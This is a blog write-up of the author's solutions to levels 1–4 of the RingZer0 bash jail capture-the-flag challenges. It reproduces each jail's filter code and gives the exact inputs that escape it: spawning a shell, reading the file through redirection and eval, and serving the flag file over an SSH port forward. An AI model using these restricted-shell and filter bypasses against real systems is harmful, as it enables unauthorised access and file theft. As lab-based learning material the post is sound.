Using CTF’s to learn and keep sharp

At present I find I have limited time to practice and learn new skills and have actively been pursuing short challenges that I can use to sharpen my skills. Capture The Flags are the perfect way for me to dip in and out of a subject when I have time. I recently completed http://flaws.cloud covering AWS common security flaws and provided a good background on common mistakes. I have helped devise scenarios for the UK Cyber Security Challenge masterclass working with PwC whom built the challenges and also recommend looking at the challenges in the Play On Demand challenges that can also be used to help qualify for face to face events.

I am starting to add new write ups on how I approached the challenges and what I have learnt on the different challenges and I am currently working on the coding and bash jail challenges at https://ringzer0team.com as they are a bit different to the normal SQL injection and web app type attacks. I also plan to use those at https://ctftime.org as I get more time.


Bash Jails — Level 1

The first stage is a simple and accessed via SSH

ssh level1@ringzer0team.com -p 1016
Password level1

As with each level in the CTF you are presented with some initial information about the user you are connected as and information on where to obtain the flag.

BASH Jail Level 1:
Current user is uid=1000(level1) gid=1000(level1) groups=1000(level1)
Flag is located at /home/level1/flag.txt
Challenge bash code:
-----------------------------
while :
do
echo "Your input:"
read input
output=`$input`
done
-----------------------------
Your input:

The level 1 challenge has no limiting on the input you can pass and is simply a case of getting a shell and obtaining the flag.

-----------------------------
Your input:
/bin/bash
level1@lxc17-bash-jail:~$ ls 1>&2
flag.txt  prompt.sh
level1@lxc17-bash-jail:~$ cat flag.txt 1>&2
FLAG-XXXXXXXXXXXXXXXXXXXXXXXXXX
level1@lxc17-bash-jail:~$

Bash jails — Level 2

To access the second stage you SSH into the jail using the flag from the previous level with the level as the username.

ssh level2@ringzer0team.com -p 1016
Password FLAG-XXXXXXXXXXXXXXXXXXXXXXXXXXXX

The second stage starts to your input more restrictive and limits the characters you are allowed to pass natively. This is quite similar to input filtering you would expect on web applications to prevent XSS. The CTF has the advantage that you are provided with the source code that is being used to stop you.

Current user is uid=1001(level2) gid=1001(level2) groups=1001(level2)
Flag is located at /home/level2/flag.txt
Challenge bash code:
-----------------------------
function check_space {
if [[ $1 == *[bdks';''&'' ']* ]]
then
return 0
fi
return 1
}
while :
do
echo "Your input:"
read input
if check_space "$input"
then
echo -e '\033[0;31mRestricted characters has been used\033[0m'
else
output="echo Your command is: $input"
eval $output
fi
done
-----------------------------

My initial approach to tackling this challenge was using octal encoding but variables were not expanded as expected. Then I looked again and can see the opportunity to use bash redirection to read the file in as a variable. StackExchange is useful for answering the detail of how to achieve a goal as is GNU docs, and of course Google. Using redirection we can read a file into a variable in bash:

$(<flag.txt)

This uses flag.txt as the file name and reads the contents into the variable. If this is passed echo returns the argument we have passed but not the flag, for echo to interpret we also need to quote the argument.

The string to obtain the flag is

Your input:
“$(<flag.txt)”
Your command is: FLAG-XXXXXXXXXXXXXXXXXXXXXXXX
Your input:

Bash Jails — Level 3

This level is similar to 2 that preceded and further restricts the input you are allowed to pass

RingZer0 Team Online CTF
BASH Jail Level 3:
Current user is uid=1002(level3) gid=1002(level3) groups=1002(level3)
Flag is located at /home/level3/flag.txt
Challenge bash code:
 — — — — — — — — — — — — — — -
WARNING: this prompt is launched using ./prompt.sh 2>/dev/null
# CHALLENGE
function check_space {
if [[ $1 == *[bdksc]* ]]
then
return 0
fi
return 1
}
while :
do
echo “Your input:”
read input
if check_space “$input”
then
echo -e ‘\033[0;31mRestricted characters has been used\033[0m’
else
output=`$input` &>/dev/null
echo “Command executed”
fi
done
 — — — — — — — — — — — — — — -

As you can see above the code redirect STDOUT to /dev/null so we do not see our command output and we have to draw upon what we learnt using redirection in this challenge to redirect output to our session using STDERR.

We can also see that the output is an evaluated version of our input:

output=`$input` &>/dev/null

Using this to our advantage we can use the file read re-direction that we used in level 2 with output redirection to STDERR, however we are further restricted in what commands we can use. The check_space function stops us using echo command but we can use space and $. With this in mind we can use the eval command for our purpose.

Your input:
Command executed
Your input:
eval $(<flag.txt) 2>&0
./real.sh: line 39: FLAG-xxxxxxxxxxxxxxxxxxxxxxxxxxx: command not found
Command executed

Bash Jails — Level 4

As before our input is further restricted and we now have a challenge on our hands to read the output.

RingZer0 Team Online CTF
BASH Jail Level 4:
Current user is uid=1003(level4) gid=1003(level4) groups=1003(level4)
Flag is located at /home/level4/flag.txt
Challenge bash code:
 — — — — — — — — — — — — — — -
WARNING: this prompt is launched using ./prompt.sh 2>/dev/null
# CHALLENGE
function check_space {
if [[ $1 == *[bdksc’/’’<’’>’’&’’$’]* ]]
then
return 0
fi
return 1
}
while :
do
echo “Your input:”
read input
if check_space “$input”
then
echo -e ‘\033[0;31mRestricted characters has been used\033[0m’
else
output=`$input < /dev/null` &>/dev/null
echo “Command executed”
fi
done
 — — — — — — — — — — — — — — -

The output command now sends our output to /dev/null

How can we get a way to iteract with the session?

We have SSH access and can use the inbuilt features of our SSH client to redirect a remote port to our local machine

$ ssh -L 11111:localhost:11111 level4@ringzer0team.com -p 1016

Then use python SimpleHTTPServer to provide us a port to interact with the level using the input in our SSH session of

python -m SimpleHTTPServer 11111

Return to your local machine on a separate terminal and connect to the HTTP server we have running remotely and request the flag.txt file.

Python
>>> import urllib2
>>> urllib2.urlopen(“http://127.0.0.1:11111/flag.txt").read()
‘FLAG-xxxxxxxxxxxxxxxxxxxxxx\n’
>>>

That is level 1 to 4 complete, i’ll continue my write ups for future levels which become increasingly more complex as you would expect.

Like what you read? Give Greg a round of applause.

From a quick cheer to a standing ovation, clap to show how much you enjoyed this story.